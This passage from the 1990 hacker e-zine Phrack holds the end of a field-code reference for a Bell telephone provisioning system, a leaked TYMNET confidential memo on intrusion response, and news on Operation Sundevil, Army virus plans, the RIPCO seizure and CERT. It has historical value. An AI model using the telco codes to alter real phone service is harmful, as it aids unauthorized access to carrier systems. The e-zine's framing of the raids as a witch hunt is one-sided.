PCID Primary Circuit Identification

PCID XX...XX  
XX...XX=Maximum of 61 Alphanumeric Characters

PKT Picket Fence Values  
PKT XXX.X,...,XXX.X  
XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or  
N=No New Values

PL Private line Circuit Number  
PL XX...XX  
XX...XX=Maximum of 61 Alphanumeric Characters

PNL PREMIS Number List for TN  
PNL XX...XX  
XX...XX=Maximum of 12 Alphanumeric Characters

POP Line Equipment Print Option  
POP XXX  
CNC=Concentrator-1ESS, 2ESS, 3ESS, RSS  
CNG=Concentrator Group-2ESS, 3ESS  
HG=Horizontal Group-5XBAR  
IM=Interface Module-5ESS  
LFG=Line Finder Group-SXS  
LLF=Line Link Frame-5XBAR  
LLN=Line Link Net-1ESS  
LTN=Line Trunk Net-2ESS  
LU=Link Unit Module-5ESS  
QC=Quarter Choice-1XBAR  
SW=Switch-1XBAR  
VF=Vertical File-5XBAR

PR Cable Pair ID  
PR YXXX  
Y=Alphanumeric  
XXX=Numeric

PRI Frame Priority  
PRI XX  
XX=Two Numeric Characters

PRP Permanent Cable Pair Remarks  
PRP XX...XX  
XX...XX=Maximum of 14 Alphanumeric Characters

PRZ Preferred Rate Zone  
PRT X  
X=Numeric

PS Previously Published/Non-published Facility Indicator  
PS X  
N=Non-Published  
!=Published

PT Package Time  
PT XXX  
XXX=Three Numeric Characters

PTY Party Number or Position  
PTY X  
X=1-4

PTY Party Indicator  
PTY X  
R=Reserved  
O=Open

PWC PREMIS Wire Center  
PWC XX...XX  
XX...XX=Maximum of 8 Alphanumeric Characters

PWC Print Work Code  
PWC XXX  
NBT=No Back Tap  
COM=Frame Complete  
PBT=Print Back Tap  
RCT=Place Heat Coils on "TO" Pair  
RBT=Remove Back Tap  
RCF=Remove Heat Coils on "FROM" Pair  
VBT=Verify Back Tap  
USX=Locally Defined Codes (X=1-4)

RAP Rotary Assignment Priority  
RAP X



X=Numeric  
RCT Recent Change Type  
RCT XX  
1=1ESS Office  
1A=1AESS Office  
2=2ESS (L01)  
2E=2ESS (EF1 and EF2)  
3=3ESS  
5T=5ESS  
RCW Recent Change Keyword  
RCW XX...XX  
XX...XX=Maximum of 20 Alphanumeric Characters  
RD Release Date  
RD MM-DD-YY  
MM=Month  
DD=Day  
YY=Year  
RDG Message Register Reading  
RDG XXXX  
XXXX=Four Numeric Characters  
REC Record File Name and Number  
REC FFXXXXXX  
FF=File Name (Alphanumeric)  
XXXXXX=Record Number (Maximum of 6 Numeric Characters)  
REP Reprint Option  
REP X  
Y=Yes  
N=No  
RESP Send a Solicited Response  
RESP X  
S=Solicited Response  
REW Rework Status  
REW X  
Y=Yes  
N=No  
RLF Re-using DIPs Upper Bound Load Factor  
RLF X  
X=1-9  
RLO Automatic Relay Assignment Present  
RLO X  
Y=Yes  
N=No  
RLY Miscellaneous Relay  
RLY XX...XX  
XX...XX=Maximum of 10 Alphanumeric Characters  
RMK Remarks on Orders  
RMK XX...XX  
XX...XX=Maximum of 28 Alphanumeric Characters  
RMKG Hunt Group Remarks  
RMKG XX...XX  
XX...XX=Maximum of 30 Alphanumeric Characters  
RMKO Remarks on Office Equipment  
RMKO XX...XX  
XX...XX=Maximum of 12 Alphanumeric Characters  
RMKP Remarks on Cable Pair  
RMKP XX...XX  
XX...XX=Maximum of 14 Alphanumeric Characters  
RMKT Remarks on Telephone Number  
RMKT XX...XX  
XX...XX=Maximum of 14 Alphanumeric Characters  
RNO RSS Subentity Number  
RNO XX  
XX=01-63  
RTI Route Index  
RTI XXXX  
XXXX=Maximum of 4 Numeric Characters  
RTYP Relay Type  
RTYP XXX

TBA=Tens Block Auxiliary  
SC=Sleeve Connect  
AR=Advance  
RTZ Rate Zone  
RTZ X  
X=Numeric  
RW Recent Change Work  
RW X  
N=Recent Change Message not Required  
C=Recent Change Coordination Required  
RZ Resistance Zone  
RZ XX  
XX=Two Numeric Characters  
SBS Sub-status  
SBS X  
A=Area Transfer  
C=Cut Through  
D=Dedicated  
L=Cut Through and Dedicated  
!=Blank  
SC Sleeve Connect Relay  
SC SYZ-ZZZ  
S=Marker Group (Numeric)  
YY=Number Group Frame (Numeric)  
ZZZ=Relay Number (Numeric)  
SE Special Service Equipment Number  
SE XX...XX  
XX...XX=Maximum of 52 Alphanumeric Characters  
SET Single Entity Tag  
SET X  
Y=CP is Served by a Single Entity on a Single Frame  
!=CP Can be Served by More Than One Entity  
SG Service Segment  
SG X  
B=Business  
C=Coin  
D=Data  
R=Residence  
S=Special  
SGN Common Language Segment Number  
SGN XXX  
XXX=Maximum of 3 Alphanumeric Characters  
SIS Special Identifying Telephone Number Supplement  
SIS XXXX  
XXXX=Maximum of 4 Numeric Characters  
SIT Special Identifying Telephone Number  
SIT XXX-YYY-XXXX  
X=Numeric  
Y=Numeric  
SK Skip Option  
SK X  
X=0 or 2-9  
SN Sequence Number  
SN XXX  
XXX=1-999  
SOB Service Observing Tag  
SOB XXX  
XXX=YES or NO  
SS Suspension Status  
SS XX  
DB=Deny Both Ways  
DI=Deny Incoming  
DO=Deny Outgoing  
RS=Restore Suspended Circuit  
SB=Suspend Both Ways  
SD=Season Disconnect  
SI=Suspend Incoming  
SO=Suspend Outgoing

DX=Deny Toll Access Service  
SSV Suspend Service Type  
SSV XX  
DO=Deny Outward Service  
DB=Deny Both Outward and Inward Service  
DX=Deny Toll Access Service  
RS=Restore Denied Service  
STAT Order Status  
STAT XX  
AC=Pending With no Framd or Installation Completion  
FC=Pending With Frame Completion but no Installation Completion  
IC=Pending with Installation Complation but no Frame Completion  
CC=Completed Orders  
CA=Canceled Orders  
STAT Facility Status  
STAT XX  
AS=All Spare  
EX=Excluded  
PC=Pending Connect  
RS=Reserved  
SF=Spare Facility  
UK=Unknown  
WK=Working  
STAT Load Group Status  
STAT XX  
EX=Blocked from all Assignments  
FU=Open for Dial Transfer Assignments Only  
PS=Pseudo LEN Assignments Only  
SO=Open for Service Orders and Work Orders Only  
WK=Open for All Assignments  
STO Line Equipment Status  
STO XX  
AW=All Working  
MS=Miscellaneous  
OF=Official  
TJ=Trunk and Junctor  
TS=Test  
WK=Working  
PD=Pending Disconnect  
PK Pending Disconnect/Pending New Connect  
AS=All Spare  
EX=Excluded  
LI=Left-in Disconnect  
RS=Reserved  
SF=Spare  
UK=Unknown  
PC=Pending Connect  
STP Cable and Pair Status  
STP XX  
AL=All Pairs  
AD=All Defective  
AP=All Provisioned  
AW=All Working  
DC=Designed Circuit  
DI=Defective (I=1-9)  
DM=Designed + SSM  
DP=Designed + SSP  
SM=Special Safeguard Measures  
SP=Special Safeguard Protection  
SS=Special Status  
WK=Working  
AS=All Spare  
EX=Excluded  
LI=Left-in Disconnect  
RS=Reserved  
SF=Spare  
UK=Unknown  
PC=Pending Connect

PD=Pending Disconnect  
STT Telephone Number Status  
STT XX  
AU=Auxiliary  
AW=All Working  
MS=Miscellaneous  
NP=Non-published  
OF=Official  
TJ=Trunk and Junctor  
TS=Test  
WK=Working  
AS=All Spare  
AV=Available  
CM=Changed-Machine Intercept  
CO=Changed-Operator Intercept  
DM=Disconnected-Machine Intercept  
DO=Disconnected-Operator Intercept  
EX=Excluded  
RS=Reserved  
SF=Spare  
UK=Unknown  
PC=Pending Connect  
PD=Pending Disconnect  
PK=Pending Disconnect/Pending New Connect  
SUBL Sublet Service  
SUBL XXX-XXXX  
XXX-XXXX=Telephone Number  
SWC Set Work Code  
SWC XXX  
(See Print Work Code)  
SWG Switch Group  
SWG X  
X=0-2  
SYS Machine Number  
SYS XX...XX  
XX...XX=Maximum of 12 Alphanumeric Characters  
TA Transfer Assembly  
TA X  
Y=Yes  
N=No  
TAP Touchtone Assignment Priority Number  
TAP X  
X=Numeric  
TBA TBA Relay  
TBA XYZ-ZZZ  
X=Marker Group Number (Numeric)  
YY=Number Group Frame (Numeric)  
ZZZ=Relay Number (Numeric)  
TBS TBS Relay  
TBS XZ-NN  
X=Marker Group Number (0-9)  
Z=Relay Number (0-3)  
NN=Ringling Combination (01-16)  
TC TO Cable  
TX XX...XX  
XX...XX=Maximum of 10 Alphanumeric Characters  
TER Terminal  
TER XXXX  
XXXX=Maximum of 4 Numeric Characters  
TER Terminal Number  
TER Y-XXXX-ZZZZ  
Y=Control Group (Alphanumeric)  
XXXX=Group Number (Numeric)  
ZZZZ=Terminal Number (Numeric)  
THG Thousands Group  
THG X or  
THG XXXX  
X=0-9

XXXX=0000,1000,...,9000

TK Trunk Cable and Pair Number  
TK YYYYYY-XXXX  
YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters)  
XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)

TLI Telephone Line Identifier  
TLI XXX-YYY-XXXX  
X=Numeric  
Y=Alphanumeric

TN Telephone Number  
TN XXX-XXXX  
XXX-XXXX=Telephone Number

TOM Two or More Non-pending, Non-party Filtered Circuit Facilities  
TOM XX  
CP=Cable Pair  
TN=Telephone Number  
OE=Office Equipment

TP Tie Pair  
TP YY...YY-XXXX  
YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters)  
XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)

TPR Taper Code  
TPR XXXXXX  
XXXXXX=Maximum of 6 Alphanumeric Characters

TRE Transmission Equipment  
TRE XX...XX  
XX...XX=Maximum of 17 Alphanumeric Characters

TT Telephone Number Type  
TT X  
B=POTs Hunting  
C=Coin  
G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc)  
O=Official  
Q=Centrex  
X=POTx Non-hunting

TTA Terminating Traffic Area  
TTA XXX  
XXX=Maximum of 3 Alphanumeric Characters

TYP Switching Type  
TYP XXX  
1ES=Number 1ESS  
2ES=Number 2ESS  
3ES=Number 3ESS  
5ES=Number 5ESS  
RSS=Remote Switching System  
1XB=Number 1 Cross-bar  
5XB=Number 5 Cross-bar  
SXS=Step-by-step  
DMX=DMS-10  
DMC=DMS-100

US USOC  
US XXXXX  
XXXXX=Maximum of 5 Alphanumeric Characters

USE Entity Usage  
USE X  
G=Growth  
S=Stable

VAL Minimum Valid Hours for Entity Data  
VAL XX  
XX=1-99

WC Wire Center  
WC XX  
XX=Alphanumeric

WL Work Location  
WL Y  
Y=1-8 or  
WL XXX  
ADM=Administrative

ACT=Assignment Change Ticket  
CPC=Special Service Circuits  
MCT=Maintenance Change Tickets  
WPN Work Package Number  
WPN XXXX  
XXXX=1-9999  
WPT Work Package Type  
WPT XXX  
XXX=Maximum of 3 Alphanumeric Characters  
XN "X" Number  
XN XXX-YYXX or  
XN XXX-YXX  
X=Numeric  
Y=Alphanumeric  
ZN Zone Location  
ZN XXX  
XXX=001-999

=====

ACKNOWLEDGEMENTS

Skinny Puppy for refreshing my memory  
The Urville for the "\$\*" file and further usage of echo  
Bell Laboratories OPA-1Y600-01

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==Phrack Inc.==

Volume Three, Issue Thirty-one, Phile #7 of 10

COMPANY CONFIDENTIAL

INTERIM MEMORANDUM

SUBJECT: TYMNET SUPPORT FOR CUSTOMER'S DATA SECURITY

PURPOSE: This document provides background, and general procedures and practices used to support customers with suspected security problems. Field Sales is the intended audience but is a general document and may be useful to other customer support personnel. Currently, this document is in a final review. Meanwhile, it is to retain the status of an internal proprietary document.

BACKGROUND: BT Tymnet Inc, and its Network Systems Company, believe information integrity is vital to ourselves and our customers. One way TYMNET insures integrity is by providing good security. TYMNET has a baseline security of user name, password, and user access profile available for all customers. Further, there are two security products. One permits the customer to limit password life (password automatically expires after a customer elected time period) and the other permits the end user to change his/her own password. Since we do consider security a key issue, we continue to develop other security features. Also, we work with Security vendors to certify their security products on our network, thus permitting customers to add such products, should they so desire.

We have established Network Systems Company Policies which provide a framework for the information contained herein (see NSC Policy 121 and 122. More policies are in distribution as of this writing). It is highly recommended that these policies be reviewed since they represent the framework of this document.

Legal considerations are another key issue in any security case. Support, other than providing the customer with related security data, can only occur if law(s) have been broken. The legal issues are complex and only a minimal information is provided herein. At the heart of this issue is the fact that the customer is the injured party, not TYMNET. Patience and good communication may be required to get the customer to understand this fact. The customers must act for themselves to obtain law enforcement support. TYMNET will support that activity, and help to the degree possible, much as a "friend of the court".

THE SUPPORT: We provide security support as a responsible network service provider. The first step in that support is for the field sales representative to act as a security consultant to the customer, at least to the extent explained below.

The customer is well advised to plan in advance "what to do when Captain Midnight strikes" -- contingency planning, pure simple. First there are two basic alternatives to choose from:

PROTECT AND PROCEED

OR

PURSUE AND PROSECUTE

"Protect and proceed" means 1) determine how the incident occurred, 2) plug the security leak/hole, and 3) go on with business as normal.

(Do we want written notification of the Intent to "Pusue and Prosecute" from the "Injured Party?").

"Pursue and prosecute" is just that. The first step is having the customer obtain legal support, and both we and the customer continue to gather evidence until the suspect is apprehended. The next step is the prosecution in a court of law. (The final step is to return to the first alternative, e.g., now protect and proceed.)

The customer needs to judge each case on its own merits, but generally the first choice is the wiser one. The second choice involves considerable effort, mostly by the customer and law enforcement agency(s), possible negative publicity for the customer and does not necessarily result in successful prosecution. Good contingency planning also includes becoming familiar with the laws and the local law enforcement people.

The starting point is a suspected incident. Herein, we will address the case where the customer has identified a suspected intruder. Generally, that occurs by a customer's detailed review of billing or host based security exception reports.

At this point it is essential the field sales representative open a ticket containing at least the following: 1) customer name and CID, 2) host(s) involved, 3) incident start and stop times, and 4) the customer's objective. Add any other information deemed helpful. Other support may be an on-line trace of the call, if the suspect is currently on-line. Field support should do this trace, or alternately, this same help can be obtained by calling network customer support and/or NetCon. In any case it must be done while the suspect is on-line. Such trace information should be included on the ticket.

Based on the customer's position; the case will fit either "prevent and proceed" or, "pursue and prosecute". The former is straight forward, in that TYMNET security will research the incidents(s), and provide data (generally user name and point of origin(s) to the customer via Field Sales, with recommendations on how to prevent any further occurrence. We do provide this service as a responsible vendor, although strict interpretation of NSC policy 121 precludes it. However, we do apply the policy if a customer continues to ask for data without taking preventative action.

The "pursue and prosecute" case is complex, and is different for each situation. It will be explained by using a typical scenario. After the first step (as above), it is necessary to gather data sufficient to show a pattern of intrusion from a single TYMNET access point. With this information, the customer (the injured party) must contacts law enforcement agency(s), with the one exception noted below.

If that intrusion point is through a gateway from a foreign country, for all practical purposes, the customer can do little to prosecute. The law(s) of the foreign country will apply since extradition is most unlikely. Therefore, action will have to be have to be initiated by the network service provider in the foreign country. In this case, TYMNET security will have MIS research the session details to obtain the Network User Identifier, and External Network Support (Jeff Oliveto's organization) will communicate that information to the foreign network for their action (cases involving U.S. government computers may get special treatment - see for example - Communications of the ACM, May, 1988, article on "Stalking the Wiley Hacker"). Most all security incidents on our network are caused by international hackers using X.121 addressing. Frequently, our customer is unaware of the risk of X.121 addressing, and permits it. BE SURE YOUR CUSTOMERS KNOW THAT THEY CAN CHOOSE FULL TYMNET SECURITY FEATURES, THEREBY PRECLUDING SUCH INTRUSIONS FROM X.121 ADDRESSING FROM FOREIGN NETWORKS.

For the domestic case, the customer gets law enforcement (attorney general at incoming call location, secret service if credit card fraud is involved, or possibly the FBI, depending on the incident) to open a case. Note, damage in estimated dollars is usually necessary to open a case, and many agencies will not take action on small claims. For example, as of December, 1988, the Los Angeles Attorney will not open a case for less than \$10,000 (they have too big a caseload at higher damages).

Assuming legal support is provided, a court order for a wire tap and trace will be obtained, thereby determining the caller's phone number (this step can be very involved and time consuming for long distance calls). The next legal action occurs after the calling number is identified. A search warrant is obtained for searching the facility housing the phone location. Normally, this search will gather evidence sufficient for prosecution. Evidence is typically the necessary terminal equipment, printouts, diskettes, etc. Then, at long last the prosecution. Also note, again at the time the calling number is identified, the injured party should use the "protect and proceed" plan.

For further information, contact Data Security, TYMNET Validations,



or Ontyme NSC.SECURITY.

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==Phrack Inc.==

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PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN  
PWN Phrack World News PWN  
PWN Issue XXXI, Part One PWN  
PWN Compiled by Phreak\_Accident PWN  
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

## Operation "Sun-Devil"

=====

May 9th and 10th brought on two day thats would be marked in every hackers history book. The reason we assume these days will be important to many, is that maybe it's time we opened are eyes and saw the witch hunt currently in progress.

In less than 48 hours, 150 Secret Service men and other law officials served 30 search warrents in 14 cities around the nation (This thing was hudge).

Operation "Sun-Devil" (As the Attorney General in Phoenix called it), was a success on their part. "The investigation though is not over, and there are more warrents to be executed.", said Jim Folwer of L.A's Secret Service.

Any details of the investigation are not being given out at this time. The Asst. Attorney General of Pheonix told Phrack Inc. that there were other problems involving the investigation and that it was an ongoing investigation for the last TWO years.

It is my understanding that Gail Thackeray and the Secret Service are not, taking this lightly. She told Phrack inc. that they are not distinguishing pirates, hackers, or phreakers. Basically, it's any kid with a modem that calls a BBS with an alias. Yes, we are the witches, and we are being hunted.

The following are Two news releases obtianed via fax through the U.S. Secret Service for Phrack Inc.

N E W S	R E L E A S E
FOR IMMEDIATE RELEASE	CONTACT: Gail Thackeray
-----	Assitant Attorney General
May 9, 1990 @ 11:00 A.M.	(602) 542-4266

Attorney General Bob Corbin announced today that in connection with an eighteen-month joint investigation into computer crime conducted with the United States Secret Service and the United States Attorney's office, the Arizona Attorney General's office has executed seven search warrants in which computers, electronic bulletin boards, telephone test equipment and records have been seized.

The Organized Crime and Racketeering Division investigation involved complaints by Arizona and out of state victims of substantial financial losses resulting from credit card fraud and theft of long distance telephone and data communications services, and by victims of attacks on computer systems operated by government agencies, private corporations, telephone companies, financial institutions, credit bureaus, and a hospital.

The Arizona Attorney General's office received information and technical assistance from the Glendale, Arizona Police Department's Computer Crime Unit, and from many private sector sources, including Bellcore (Bell Communications Research), American Express, Communications carriers U.S. Sprint, AT&T, MCI, Com Systems, MidAmerican Communications, LDL Communications, and Shared Use Network. Without the cooperation of these companies and of numerous federal, state and local law enforcement agencies around the country, this investigation would have been impossible.

The privacy of our citizens and the health of our economy depend upon secure, reliable computer systems. Computer fraud and attempts to compromise senstitive public and private computer systems will not be tolerated. Individuals who commit these offenses in Arizona can expect to be prosecuted.

.end.

                  P R E S S           R E L E A S E  
FOR IMMEDIATE RELEASE           Contact: Wendy Harnagel  
Wednesday, May 9, 1990           United States Attorney's Office  
-----                           (602) 379-3011

PHOENIX -- Stephen M. McNamee, United States Attorney District of Arizona, Robert K. Corbin, Attorney General for the State of Arizona, and Henry R. Potosky, Acting Special Agent in Charge of the United States Secret Service Office in Phoenix, today announced that approximately twenty-seven search warrants were executed on Monday and Tuesday, May 7 and 8, 1990, in various cities across the nation by 150 Secret Service agents along with state and local law enforcement officials. The warrants were issued as a part of Operation Sundevil, which was a two year investigation into alleged illegal computer hacking activities.

The United States Secret Service, in cooperation with the United States Attorney's Office, and the Attorney General for the State of Arizona, established an operation utilizing sophisticated investigative techniques, targeting computer hackers who were alleged to have trafficked in and abuse stolen credit card numbers, unauthorized long distance dialing codes, and who conduct unauthorized access and damage to computers. While the total amount of losses cannot be calculated at this time, it is estimated that the losses may run into the millions of dollars. For example, the unauthorized accessing of long distance telephone credit cards have resulted in uncollectible charges. The same is true of the use of stolen credit card numbers. Individuals are able to utilize the charge accounts to purchase items for which no payment is made.

Federal search warrants were executed in the following cities:

Chicago, IL  
Cincinnati, OH  
Detroit, MI  
Los Angeles, CA  
Miami, FL  
Newark, NJ  
New York, NY  
Phoenix, AZ  
Pittsburgh, PA  
Plano, TX  
Richmond, VA  
San Diego, CA  
San Jose, CA

Unlawful computer hacking imperils the health and welfare of individuals, corporations and government agencies in the United States who rely on computers and telephones to communicate.

Technical and expert assistance was provided to the United States Secret Service by telecommunication companies including Pac Bel, AT&T, Bellcore, Bell South, MCI, U.S. Sprint, Mid-American, Southwestern Bell, NYNEX, U.S. West, and by the many corporate victims. All are to be commended for their efforts for their efforts in researching intrusions and documenting losses.

McNamee and Corbin expressed concern that the improper and alleged illegal use of computers may become the White Collar crime of the 1990's. McNamee and Corbin reiterated that the state and federal government will vigorously pursue criminal violations of statutes under their jurisdiction. Three individuals were arrested yesterday in other jurisdictions on collateral or independent state charges. The investigations surrounding the activities of Operation Sundevil are continuing.

The investigations are being conducted by agents of the United States Secret Service and Assistant United States Attorney Tim Holtzen, District of Arizona, and Assistant Arizona Attorney General Gail Thackery.

.end.

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Virus mania

=====

Robert T. Morris started it all. Who cares, it's over and done with. Never the less, it's being dragged out in every national paper. It's old news so we won't cover it here, but we will tell you about something the Army has up its sleeve.

Army is Looking for a Few Good Viruses  
By Rory J. O'conner  
Knight-Ridder Newspapers

---

The U.S. Army is looking for help to develop the seeds of a new-age germ warfare: It wants business to help it turn computer "viruses" into military weapons.

Experts predict the viruses, if sucessfully developed, could be used to wreak havoc on the increasing number of computers in the battlefield. The destructive computer programs which have increasingly damaged commercial and research computer systems in the past four years, could be used to disrupt military communications and feed misleading data to enemy commanders.

The viruses could aslo be used to alter the programming of crucial communications satellites serving combat units, the experts said.

The Army is soliciting bids from small businesses to determine the feasibility of using computer viruses in warefare. And it is willing to pay up to \$550,000 to a company that comes up with a plan for creating the programs - and figures out how to use military radio systems to introduce them into enemy computers.

A computer virus is a kind of program designed to disrupt normal operation of a computer system or damage data ont hat system by altering or destroying it. The rogue programs are most effective when introduced secretly into the computer system of an unsuspecting user and when their damage is subtle or hidden fromt he user for some time.

Viruses are also self-duplicating and can spread undetected from an infected computer to other computer systems they contact.

So far, more than 60 computer viruses have been identified, most of them attacking poorly guarded personal computers used by businesses, universities and individuals. The Army's virus would have to be more sophisticated than those programs.

But some detractors of the concept say the Army could wind up with the same problem it has with biological weapons: Creating destructive elements that might get loose and cause widespread damage to its own forces as well as civilians.

"This stuff is very dangerous, and most people involved in creating viruses are not aware of the threat," said a Bay Area virus expert who asked ot to be named. "You can't spread anthrax around the world and not have it come back around to you. And the enemy is using the same kind of computers and software that we are."

Many experts who are fighting the explosion in virus activity by amateur programmers are especially angry at government efforts to develop the programs for the military. Some say it is particulary troubling in light of the sentencing of Robert T. Morris Jr. (Ed -Ick), convicted in federal court of sending a similar program through a government sponsored network in 1988.

"It bothers me that the government says in one breath (viruses) are bad and illegal and then asks for someone to develop them," said Glenn Tenney, a San Mateco, Calif., programmer and organizer of the annual Computer Hackers Conference. "If Morris had done the same thing for the Army, they'd have paid him hundreds of thousands to do it. But he did it on the wrong side and got punished."

Computer experts say creating a virus to the Army's specifications is possible with current technology - although some of the Army's requirements could make developing it more difficult than creating an ordinary personal computer virus.

First, military computer systems are usually designed with far more

security features than commercial systems, making it much harder for a virus to enter the systems. Second, the Army is emphasizing the use of radio communication to inject the virus into enemy systems. Normally, computer viruses spread through the exchange of floppy disks that contain the rogue program or along wires connecting several computers. Using complex military radio signals instead would require expertise that most programmers don't have.  
.end

---

RIPCO            May 8th, 1990

-----  
Operation Sun-Devil claimed more than just a few "Codelords" around the states, it claimed one of the oldest and more popular boards. Nobody knows when or if RIPCO shall return.

Reportedly, Dr. Ripco was charged on a hand-gun violation after his house was searched. Phrack inc. can't comment on this.

The following is the exact transcript of the message left on RIPCO's answering machine after Operation Sun-Devil.

-----  
This is 528-5020.

As you are probably aware, on May 8, the Secret Service conducted a series of raids across the country. Early news reports indicate these raids involved people and computers that could be connected with credit card and long distance toll fraud. Although no arrests or charges were made, Ripco BBS was confiscated on that morning. It's involvement at this time is unknown. Since it is unlikely that the system will ever return, I'd just say goodbye, and thanks for your support for the last six and a half years. It's been interesting, to say the least.  
Talk to ya later.

{Dr. Ripco}

\*\*\* END OF VOICE MESSAGE \*\*\*

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==Phrack Inc.==

Volume Three, Issue Thirty-one, Phile #9 of 10  
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN  
PWN Phrack World News PWN  
PWN Issue XXXI, Part Two PWN  
PWN Compiled by Phreak\_Accident PWN  
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

{C}omputer {E}mergency {R}esponse {T}eam  
-----

Some call it "Internet Police" -- Others call it "just stupid."  
CERT however is a mix. But I do give them credit -- After all, have your  
number one goal being 'making the Internet more secure' has to be a tough task.  
Therefore, we give them credit.

However, CERT is funded by DARPA, which is a government agency. And  
anything in my book that the government runs is bad news. Yes, the government  
pays the 6 man salary and keep their hot-line active 24 hours a day.

Ahh.. What do you know about CERT? "Nothing" you say? Well, the  
following is the press release and other reprints of information about CERT.  
-----

Richard Pethia <rdp@SEI.CMU.EDU>

DEAR XXXXXXXXXX,

I have been reviewing our correspondence files and have discovered  
that your request for information may not have been filled. I  
apologize for the delay and hope that the information is still useful  
to you. If, after reading the following, you have additional  
questions or would like to subscribe to one of our information lists,  
please send email with your question/request.

The Computer Emergency Response Team (CERT) was established by the Defense  
Advanced Research Projects Agency in November of 1988 to serve members  
of the Internet Research community. The press release below describes  
the general role of the CERT.

More specifically, the CERT supports individual Internet sites by:

- Working with site personnel to help resolve individual computer security  
incidents. Contact potentially affected sites to warn them of  
possible security breaches. Work with sites to change the  
conditions that allowed incidents to occur.
- Issuing advisories that alert the community to specific system  
vulnerabilities or intrusion techniques, as well as the methods to  
protect against them.
- Working with the community and system (primarily Unix) vendors to  
reslove specific system vulnerabilities.
- Maintaining and operating moderated mailing lists that: (1) provide a  
discussion forum for tools and techniques to improve the security of  
Unix systems, and (2) provide a discussion forum and alert mechanism  
for PC viruses, trojan horses, etc.

Over the past year we have developed hundreds of working relationships  
with members of the Internet and other communities and have  
established an extensive information collection and dissemination  
network. Because of this network of cooperating individuals and  
organizations, we are often able to advise the community of problems  
allowing them to take corrective action before being affeceted by  
those problems.

-----

No. 597-88  
(202) 695-0192 (Info.)  
(202) 697-3189 (Copies)  
(202) 697-5737

IMMEDIATE RELEASE December 6, 1988  
(Public/Industry)

DARPA ESTABLISHES COMPUTER EMERGENCY RESPONSE TEAM

The Defense Advanced Research Projects Agency (DARPA) announced today  
that it has established a Computer Emergency Response Team (CERT) to  
address computer security concerns of research users of the Internet,  
which includes ARPANET. The Coordination Center for the CERT is  
located at the Software Engineering Institute (SEI), Carnegie Mellon  
University, Pittsburgh, PA.

In providing direct service to the Internet community, the CERT will focus on the special needs of the research community and serve as a prototype for similar operations in other computer communities. The National Computer Security Center and the National Institute of Standards and Technology will have a leading role in coordinating the creation of these emergency response activities.

The CERT is intended to respond to computer security threats such as the recent self-replicating computer program ("computer virus") that invaded many defense and research computers.

The CERT will assist the research network communities in responding to emergency situations. It will have the capability to rapidly establish communications with experts working to solve the problems, with the affected computer users and with government authorities as appropriate. Specific responses will be taken in accordance with DARPA policies.

It will also serve as a focal point for the research community for identification and repair of security vulnerabilities, informal assessment of existing systems in the research community, improvement to emergency response capability, and user security awareness. An important element of this function is the development of a network of key points of contact, including technical experts, site managers, government action officers, industry contacts, executive level decision-makers and investigative agencies, where appropriate.

Because of the many network, computer, and systems architectures and their associated vulnerabilities, no single organization can be expected to maintain an in-house expertise to respond on its own to computer security threats, particularly those that arise in the research community. As with biological viruses, the solutions must come from an organized community response of experts. The role of the CERT Coordination Center at the SEI is to provide the supporting mechanisms and to coordinate the activities of experts in DARPA and associated communities.

The SEI has close ties to the Department of Defense, to defense and commercial industry, and to the research community. These ties place the SEI in a unique position to provide coordination support to the software experts in research laboratories and in industry who will be responding in emergencies and to the communities of potentially affected users.

The SEI is a federally-funded research and development center, operating under DARPA sponsorship with the Air Force Systems Command (Electronic Systems Division) serving as executive agent. Its goal is to accelerate the transition of software technology to defense systems. Computer security is primarily a software problem, and the presence of CERT at the SEI will enhance the technology transfer mission of the SEI in security-related areas.

-END-

QUESTIONS AND ANSWERS: DARPA ESTABLISHES CERT, 12/6/88

Q: Can you provide background on earlier break-ins?

A: On November 2, 1988, thousands of computers connected to unclassified DoD computer networks were attacked by a virus. Although the virus did not damage or compromise data, it did have the effect of denying service to thousands of computer users. The computer science research community associated with the Defense Advanced Research Projects Agency (DARPA), along with many other research laboratories and military sites that use these networks, quickly responded to this threat. They developed mechanisms to eliminate the infection, to block the spread of the self-replicating program, and to immunize against further attack by similar viruses. Software experts from the University of California at Berkeley, with important contributions from the Massachusetts Institute of Technology and other network sites, rapidly analyzed the virus and developed immunization techniques. These same software experts also provided important assistance in the more recent Internet intrusion of 27-28 November. As the events unfolded, DARPA established an ad hoc operation center to help coordinate the activities of software experts working around the clock and to provide information to appropriate government officials. The operations center had three main tasks. It

facilitated communications among the many groups affected, it ensured that government organizations were promptly informed of developments, and it provided initial technical analysis in DoD. Although the threat was contained quickly, a more maliciously designed virus could have done serious damage.

The recent events serve as a warning that our necessarily increasing reliance on computers and networks, while providing important new capabilities, also creates new kinds of vulnerabilities. The Department of Defense considers this an important national issue that is of major concern in both the defense and commercial sectors. The DoD is developing a technology and policy response that will help reduce risk and provide an emergency reaction response.

Q: Who will be on the CERT?

A: The CERT will be a team of over 100 experts located throughout the U.S. whose expertise and knowledge will be called upon when needed. When not being called upon, they will continue their normal daily work. As noted in the release, these experts will include: technical experts, site managers, government action officers, industry contacts, executive-level decision-makers and representatives from investigative agencies.

recommendations that will be acted upon by DoD authorities.

Q: Is the CERT fully operational now?

A: We are in the very early stages of gathering people for the CERT. We are first concentrating on collecting technical experts. A staff is in place at SEI, but details are still being worked out.

Q: Will there just be one CERT?

A: The intent is that each major computer community may decide to establish its own CERT. Each CERT will therefore serve only a particular community and have a particular technical expertise. (The DARPA/SEI CERT will serve, for example, the research community and have expertise in Berkeley-derived UNIX systems and other systems as appropriate.) The National Computer Security Center and the National Institute of Standards and Technology will support the establishment of the CERTs and coordinate among them.

Q: What are the special needs of the research community that their CERT will serve?

A: The special challenge of the research community is improving the level of computer security without inhibiting the innovation of computer technology. In addition, as is often DARPA's role, their CERT will serve as a prototype to explore the CERT concept so that other groups can learn and establish their own.

Q: Does the CERT Coordination Center have a press point of contact?

A: No. Their function is to serve as a nerve center for the user community.

.end

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#### USA Today and the devil

